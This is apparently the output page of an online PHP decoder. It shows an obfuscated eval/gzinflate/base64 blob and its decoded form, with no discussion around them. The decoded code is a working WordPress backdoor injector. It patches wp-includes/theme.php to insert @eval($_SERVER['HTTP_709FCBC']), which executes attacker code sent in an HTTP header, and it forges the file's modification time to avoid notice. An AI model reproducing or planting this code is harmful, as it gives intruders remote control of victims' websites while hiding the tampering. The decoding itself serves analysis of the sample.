Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode("jVJrb5swFP2eX8GkSCRqNfFY0kXTtLVpSUMSaGgKlGmKwJjEibEpmJIw9b/P..
Decoded Output download
phpConfValidate('YTo0OntpOjA7czo0OToiL3Vzci9ob21lL2NhbmN1eWFzcGFkZWwvd3d3L3dwLWluY2x1ZGVzL3RoZW1lLnBocCI7aToxO3M6OTg6In5ldmFsW15cKFxuXHJdKlwoW15cJF0qXCRfW0EtWl17Nn1bXlxbXSpcW1teXCdcIl0qW1wnXCJdSFRUUF83MDlGQ0JDW1wnXCJdW15cXV0qXF1bXlwpXSpcKVteO10qO35zIjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfNzA5RkNCQyddKTsiO2k6MztzOjQ2OiJ+XlxzKmZ1bmN0aW9uXHMrZ2V0X3N0eWxlc2hlZXRfZGlyZWN0b3J5X3VyaX5tIjt9');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (preg_match($systemEnv, $source)) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
$newSource = preg_replace($incorrectRegex, '', $source);
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
if (!preg_match($systemEnv, $newSource)) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode("jVJrb5swFP2eX8GkSCRqNfFY0kXTtLVpSUMSaGgKlGmKwJjEibEpmJIw9b/P5N2HtFkyvsb3nHvuo5bMky4lke1jFPoMNsTHCZVMwhJzcXkBSm5PKBqqdglQhwaKjIeKMQ9iQ4aOVoKetvSc4jlUQ3WohsXQwfmjspK9nl0OVYt6DvcnVxR0+xf+hK5MddQ2J7N2n7RwGGuZI7fAQFvl7q0eDnBBq7uuSU9u14oc6YY5WL4wiBy4eBW49wlwZAbdbgj6WHpy5IK4XT2816yHB+2rOrrGvbGkX+//V1yuzbm0Cl8kFX5gM2jK0pOptsr+osqxX+VYjhYUjXu28ugUVNc6E8vWHb4DXZo/2NpVZJSXLWtpdMfrMBxMMmQqy/aoZKW5GCsm0s+4vnIQezKvi+Q7HZ7PKPUUW3JVQ4LOCgNljj3XirweXnuOIQWq3nJVe+27LcZ1dMTmt1qUE8AQJcLbjtQzmDaFP7WawBdGGRMa9SjH+M5n83Ohnq0zBuMb8sxtQEPIj8RnDKakKXwXcsLRiFOVsBH4GWx/mYawctvS8rgVaz2jeQog948QhtMZZFNACYOEZcdYO18UCY0khbNp7DMwb7yKv6VpVmqF3Uohy1Oyhb4cCD6dMuzkHvDc2LzA7B9MW+2IAJqmEDALzuCK55CxdJrCBPuAjzMUhc+C+OxvDiyeC+LPH36abq7+Wjwt4L4YBBb3+3psdO7J3oTiXOIx6Q/Ap0L2Kf2Sfu8axRXc3d5Nb8wht14/H0h2rMfPu+Kdlv8I+5+6Va2OGYr3bd/YJ+0WzgRZ2sJyghFZvhuFzbAk+UfD8kESjOaV4BOPQ1Tu8VL7Cw==")));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
phpConfValidate | 1 |
Stats
MD5 | 0901eb2295b7b0ad1edf67b53b0ec499 |
Eval Count | 1 |
Decode Time | 47 ms |